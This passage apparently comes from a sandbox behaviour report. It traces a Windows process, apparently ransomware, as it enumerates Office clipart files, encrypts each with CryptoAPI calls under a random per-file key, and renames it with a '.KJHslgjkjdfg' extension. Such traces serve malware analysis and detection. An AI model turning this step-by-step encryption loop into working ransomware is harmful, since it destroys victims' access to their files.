lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7cc0, lpOverlapped=0x0) returned 1 [0180.195] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.195] SetEndOfFile (hFile=0x114) returned 1 [0180.198] GetProcessHeap () returned 0x2a0000 [0180.198] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.198] GetProcessHeap () returned 0x2a0000 [0180.198] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.kjhslgjkjdfg")) returned 1 [0180.200] CloseHandle (hObject=0x114) returned 1 [0180.200] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0180.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.202] GetProcessHeap () returned 0x2a0000 [0180.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.202] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.202] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.205] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.205] GetProcessHeap () returned 0x2a0000 [0180.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.205] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.205] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.205] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.205] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.205] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.206] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.206] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaefa, lpOverlapped=0x0) returned 1 [0180.207] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf00, dwBufLen=0xaf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf00) returned 1 [0180.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.208] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaf00, lpOverlapped=0x0) returned 1 [0180.208] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xafd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.208] SetEndOfFile (hFile=0x114) returned 1 [0180.211] GetProcessHeap () returned 0x2a0000 [0180.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.211] GetProcessHeap () returned 0x2a0000 [0180.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.kjhslgjkjdfg")) returned 1 [0180.213] CloseHandle (hObject=0x114) returned 1 [0180.213] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0180.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.214] GetProcessHeap () returned 0x2a0000 [0180.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.214] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.217] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.217] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.217] GetProcessHeap () returned 0x2a0000 [0180.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.217] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.217] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.217] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.218] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.218] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d6c, lpOverlapped=0x0) returned 1 [0180.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d70) returned 1 [0180.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.219] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d70, lpOverlapped=0x0) returned 1 [0180.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.219] SetEndOfFile (hFile=0x114) returned 1 [0180.222] GetProcessHeap () returned 0x2a0000 [0180.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.222] GetProcessHeap () returned 0x2a0000 [0180.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.kjhslgjkjdfg")) returned 1 [0180.224] CloseHandle (hObject=0x114) returned 1 [0180.224] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0180.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.225] GetProcessHeap () returned 0x2a0000 [0180.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.225] GetProcessHeap () returned 0x2a0000 [0180.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.225] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.225] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.225] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.228] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.228] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f50, lpOverlapped=0x0) returned 1 [0180.229] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f50) returned 1 [0180.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f50, lpOverlapped=0x0) returned 1 [0180.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.230] SetEndOfFile (hFile=0x114) returned 1 [0180.233] GetProcessHeap () returned 0x2a0000 [0180.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.233] GetProcessHeap () returned 0x2a0000 [0180.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.kjhslgjkjdfg")) returned 1 [0180.234] CloseHandle (hObject=0x114) returned 1 [0180.234] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0180.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.235] GetProcessHeap () returned 0x2a0000 [0180.235] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.235] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.235] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.238] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.238] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.238] GetProcessHeap () returned 0x2a0000 [0180.238] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.239] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.239] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.239] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x81ce, lpOverlapped=0x0) returned 1 [0180.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81d0, dwBufLen=0x81d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81d0) returned 1 [0180.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.241] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x81d0, lpOverlapped=0x0) returned 1 [0180.241] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x82a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.242] SetEndOfFile (hFile=0x114) returned 1 [0180.255] GetProcessHeap () returned 0x2a0000 [0180.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.255] GetProcessHeap () returned 0x2a0000 [0180.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.kjhslgjkjdfg")) returned 1 [0180.267] CloseHandle (hObject=0x114) returned 1 [0180.267] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0180.268] CreateFileW (lpFileName="C:\\Program 